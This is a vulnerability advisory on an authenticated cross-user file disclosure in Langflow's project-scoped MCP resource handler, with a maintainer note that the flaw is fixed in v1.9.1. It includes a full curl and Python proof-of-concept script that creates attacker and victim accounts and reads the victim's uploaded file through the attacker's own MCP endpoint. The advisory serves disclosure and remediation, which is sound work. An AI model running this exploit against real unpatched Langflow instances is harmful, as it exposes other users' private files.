Langflow has Authenticated Cross-Project File Disclosure via Unscoped MCP Resource Handlers

Summary

Langflow's project-scoped MCP transport authenticates the caller for the project_id in the connection URL, but the subsequent resources/read operation does not authorize the resource URI being requested. An authenticated user can connect to their own project-scoped MCP endpoint and supply a crafted file-download URI that points to another user's flow-backed file. The server then reads and returns the victim file without verifying ownership or project membership.

This is a cross-user authorization bypass (userA -> userB) that allows arbitrary read access to files stored under other users' flow namespaces.

Details

Verified against local checkout:

• Repository: langflow-ai/langflow
• Verified on release tag: v1.8.3
• Commit: 08bf98404cfd7737fde57a2588785766cdf1b42e
• Earliest stable release known to contain the vulnerable code path: v1.6.8

Relevant code path:

1. src/backend/base/langflow/api/v1/mcp_projects.py:147-193 verify_project_auth_conditional() authenticates the caller and checks access only to the project_id in the MCP transport URL.

2. src/backend/base/langflow/api/v1/mcp_projects.py:1238-1241 The project-scoped MCP server registers read_resource() and forwards the attacker-controlled URI directly to handle_read_resource(uri=uri).

3. src/backend/base/langflow/api/v1/mcp_utils.py:163-182 handle_read_resource() parses the last two URI path segments as flow_id and filename, then directly calls:

   storage_service.get_file(flow_id=flow_id, file_name=filename)
   

   No check ties the supplied flow_id back to the authenticated user or the current project.

4. src/backend/base/langflow/services/storage/local.py:141-149 src/backend/base/langflow/services/storage/s3.py:200-217 The storage layer performs a raw namespace read and is not authorization-aware.

The result is that authorization is enforced at MCP connection time, but not at resource-read time. Once an attacker has access to any project-scoped MCP endpoint they own, they can read another user's flow-backed file by passing a victim-controlled URI.

This issue is also easier to exploit because the global MCP helpers expose cross-user discovery data:

• src/backend/base/langflow/api/v1/mcp_utils.py:102-121 handle_list_resources(project_id=None) lists files for all flows.
• src/backend/base/langflow/api/v1/mcp_utils.py:333-380 handle_list_tools(project_id=None) queries all flows and includes flow IDs in tool metadata.

That global enumeration is not required for exploitation, but it makes obtaining victim identifiers much easier.

PoC

Preconditions:

• Langflow is running locally with authentication enabled.
• Two separate users exist on the same instance.
• The victim has a flow with an uploaded file.
• The attacker has access to any project they own.

Verify the issue locally by starting Langflow with:

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow'

set -a
source .env.verify
set +a

export LANGFLOW_CONFIG_DIR="$PWD/.langflow-verify"

uv run python - <<'PY'
from langflow.main import setup_app
import uvicorn

app = setup_app(backend_only=True)
uvicorn.run(app, host="127.0.0.1", port=7860, log_level="debug")
PY

Then, in a second terminal, the following script creates a victim user, an attacker user, a victim flow-backed file, and demonstrates that:

• the normal file download route is blocked for the attacker (404)
• the same file is readable through the attacker's own project-scoped MCP connection

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow'
set -euo pipefail

export BASE='http://127.0.0.1:7860'
export PASS='Passw0rd!Passw0rd!'
export VICTIM_USER="victim.$RANDOM@example.com"
export ATTACKER_USER="attacker.$RANDOM@example.com"

curl -sS -X POST "$BASE/api/v1/users/" \
  -H 'Content-Type: application/json' \
  -d "{\"username\":\"$VICTIM_USER\",\"password\":\"$PASS\"}" >/dev/null

curl -sS -X POST "$BASE/api/v1/users/" \
  -H 'Content-Type: application/json' \
  -d "{\"username\":\"$ATTACKER_USER\",\"password\":\"$PASS\"}" >/dev/null

export VICTIM_TOKEN=$(
  curl -sS -X POST "$BASE/api/v1/login" \
    -H 'Content-Type: application/x-www-form-urlencoded' \
    --data-urlencode "username=$VICTIM_USER" \
    --data-urlencode "password=$PASS" | jq -r '.access_token'
)

export ATTACKER_TOKEN=$(
  curl -sS -X POST "$BASE/api/v1/login" \
    -H 'Content-Type: application/x-www-form-urlencoded' \
    --data-urlencode "username=$ATTACKER_USER" \
    --data-urlencode "password=$PASS" | jq -r '.access_token'
)

export VICTIM_PROJECT_ID=$(
  curl -sS -X POST "$BASE/api/v1/projects/" \
    -H "Authorization: Bearer $VICTIM_TOKEN" \
    -H 'Content-Type: application/json' \
    -d '{"name":"victim-project"}' | jq -r '.id'
)

export ATTACKER_PROJECT_ID=$(
  curl -sS -X POST "$BASE/api/v1/projects/" \
    -H "Authorization: Bearer $ATTACKER_TOKEN" \
    -H 'Content-Type: application/json' \
    -d '{"name":"attacker-project"}' | jq -r '.id'
)

export VICTIM_FLOW_ID=$(
  curl -sS -X POST "$BASE/api/v1/flows/" \
    -H "Authorization: Bearer $VICTIM_TOKEN" \
    -H 'Content-Type: application/json' \
    -d "{\"name\":\"victim-flow\",\"data\":{\"nodes\":[],\"edges\":[]},\"folder_id\":\"$VICTIM_PROJECT_ID\"}" \
    | jq -r '.id'
)

printf 'cross-project-read-proof\n' > /tmp/secret.txt

export UPLOAD_JSON=$(
  curl -sS -X POST "$BASE/api/v1/files/upload/$VICTIM_FLOW_ID" \
    -H "Authorization: Bearer $VICTIM_TOKEN" \
    -F "file=@/tmp/secret.txt"
)

export VICTIM_FILE=$(
  printf '%s' "$UPLOAD_JSON" | jq -r '.file_path | split("/") | last'
)

export VICTIM_URI="$BASE/api/v1/files/download/$VICTIM_FLOW_ID/$VICTIM_FILE"

export ATTACKER_API_KEY=$(
  curl -sS -X POST "$BASE/api/v1/api_key/" \
    -H "Authorization: Bearer $ATTACKER_TOKEN" \
    -H 'Content-Type: application/json' \
    -d '{"name":"attacker-mcp-key"}' | jq -r '.api_key'
)

export DIRECT_STATUS=$(
  curl -sS -o /dev/null -w '%{http_code}' \
    -H "Authorization: Bearer $ATTACKER_TOKEN" \
    "$VICTIM_URI"
)

export MCP_READ_OUTPUT=$(
uv run python - <<'PY'
import asyncio
import base64
import os

import httpx
from mcp import ClientSession
from mcp.client.streamable_http import streamable_http_client

base = os.environ["BASE"]
project_id = os.environ["ATTACKER_PROJECT_ID"]
api_key = os.environ["ATTACKER_API_KEY"]
victim_uri = os.environ["VICTIM_URI"]
url = f"{base}/api/v1/mcp/project/{project_id}/streamable"

async def main():
    async with httpx.AsyncClient(headers={"x-api-key": api_key}, timeout=30.0) as client:
        async with streamable_http_client(url, http_client=client) as (read_stream, write_stream, _):
            async with ClientSession(read_stream, write_stream) as session:
                await session.initialize()
                result = await session.read_resource(victim_uri)
                blob = result.contents[0].blob
                print(base64.b64decode(base64.b64decode(blob)).decode().strip())

asyncio.run(main())
PY
)

echo "Direct /files/download as attacker -> $DIRECT_STATUS"
echo "Project-scoped MCP resources/read -> $MCP_READ_OUTPUT"

Expected output:

Direct /files/download as attacker -> 404
Project-scoped MCP resources/read -> cross-project-read-proof

Observed server logs during verification:

GET /api/v1/files/download/... 404 Not Found
POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK
POST /api/v1/mcp/project/<attacker-project-id>/streamable 202 Accepted
POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK

Impact

This is an authenticated IDOR / arbitrary file read issue in the MCP layer.

Any authenticated Langflow user who can access at least one project-scoped MCP endpoint can read files belonging to other users by supplying a victim file URI to resources/read.

Practical impact includes:

• Cross-user disclosure of uploaded documents, CSV files, JSON files, prompts, and other flow-backed artifacts
• Unauthorized access to sensitive business data stored in flow namespaces
• Easier exploitation when global MCP helpers reveal other users' flow IDs and file names

Suggested Remediations

1. Authorize resources/read against the authenticated context before calling storage. Resolve flow_id to a database object and require both: flow.user_id == current_user.id and, for project-scoped transports, flow.folder_id == current_project_id.

2. Stop trusting arbitrary file-download URIs as resource identifiers. Instead, return opaque server-generated resource IDs from resources/list and resolve them server-side to an already authorized object.

3. Scope global MCP enumeration helpers to the authenticated user. handle_list_resources() and handle_list_tools() should not query all flows when project_id=None; they should return only flows owned by the current user, or require elevated privileges for broader discovery.

Fix Status (Maintainer Triage Update — 2026-09-22)

This report is accurate. The vulnerable code path described above (missing ownership check in handle_read_resource()) has since been fixed.

Corrected affected version range: >= 1.6.8, <= 1.9.0 (not <= 1.8.3 — confirmed still vulnerable through v1.9.0; the fix landed with the v1.9.1 release, not later).

Fixed in: v1.9.1 (GitHub Release published 2026-04-24), via PR #12818 — "fix(mcp): close path traversal + cross-user disclosure (PVR0754098)".

• Backport commit on release-1.9.1: f0fd436fe9829192ee550e6cb46961a01dd37032
• Corresponding commit on main: b8fe970493fd5fb2e1fc71dfccc79f90b76058fa

The fix:

• handle_read_resource() now requires an authenticated user context and resolves the namespace segment of the URI to a Flow row scoped to Flow.user_id == current_user.id, additionally filtering on Flow.folder_id == project_id for project-scoped MCP servers (src/backend/base/langflow/api/v1/mcp_utils.py).
• Rejects filenames containing .., /, or \ as defense-in-depth against path traversal, and applies the same containment check to the storage layer's get_file/get_file_stream/delete_file/get_file_size (local.py/s3.py, both in langflow and lfx).
• handle_list_resources() / handle_list_tools() are now scoped to current_user.id on the global (non-project) MCP server, closing the cross-user enumeration this report also flagged.

Verified independently against langflow-ai/langflow @ 89444c3bb5 (release-1.11.0 branch, current as of 2026-09-22): the fix is present, and the regression suite (src/backend/tests/unit/api/v1/test_mcp_utils.py, 21/21 passing) includes test_handle_read_resource_denies_other_users_flow, which reproduces this report's exact cross-user scenario and asserts it now raises ValueError("... access denied").